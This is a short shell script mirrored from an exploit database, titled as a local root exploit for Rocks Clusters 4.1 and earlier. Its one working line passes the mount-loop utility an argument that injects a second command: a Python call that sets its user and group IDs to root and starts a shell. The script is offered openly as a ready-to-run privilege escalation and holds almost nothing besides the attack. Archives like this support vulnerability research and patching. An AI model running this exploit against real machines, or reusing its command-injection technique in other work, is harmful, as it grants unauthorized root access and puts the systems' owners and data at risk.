exploit-db-mirror/exploits/linux/local/2016.sh
Offensive Security 36c084c351 DB: 2021-09-03
45419 changes to exploits/shellcodes

2 new exploits/shellcodes

Too many to list!
2021-09-03 13:39:06 +00:00

12 lines
No EOL
650 B
Bash
Executable file

#!/bin/sh
##############################################################################
## rocksmountdirty.sh: Rocks release <=4.1 local root exploit
## make sure 'mount-loop' is in your path for this to work.
##
## coded by: xavier@tigerteam.se [http://xavsec.blogspot.com]
##############################################################################
echo "Rocks Clusters <=4.1 mount-loop local root exploit by xavier@tigerteam.se [http://xavsec.blogspot.com]"
echo "getting root.. goodluck"
mount-loop "null" "null" "null; python -c 'import os;os.setuid(0);os.setgid(0);os.execl(\"/bin/sh\", \"/usr/sbin/httpd\")'"
# milw0rm.com [2006-07-15]